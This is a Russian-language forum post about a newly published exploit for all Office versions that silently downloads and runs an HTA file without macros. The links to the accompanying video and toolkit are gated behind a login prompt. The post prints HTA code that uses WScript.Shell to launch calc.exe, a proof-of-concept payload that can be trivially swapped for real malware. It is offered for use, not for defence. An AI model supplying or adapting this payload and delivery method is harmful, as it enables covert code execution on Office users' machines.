Несколько дней назад опубликовали эксплойт для всех версия офиса, позволяющий скачать и запустить hta файл (веб приложение), без макросов, не заметно.
Видос:
Тулкит для работы с эксплойтом
Хта код для запуска файла
Видос:
Тулкит для работы с эксплойтом
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Хта код для запуска файла
Код:
<head>
<HTA:APPLICATION ID="oMyApp"
APPLICATIONNAME="Application Executer"
BORDER="no"
CAPTION="no"
SHOWINTASKBAR="yes"
SINGLEINSTANCE="yes"
SYSMENU="yes"
SCROLL="no"
WINDOWSTATE="normal">
<script type="text/javascript" language="javascript">
WshShell = new ActiveXObject("WScript.Shell");
WshShell.Run("c:/windows/system32/calc.exe", 1, false);
</script>
</head>
<body >
</body>
</html>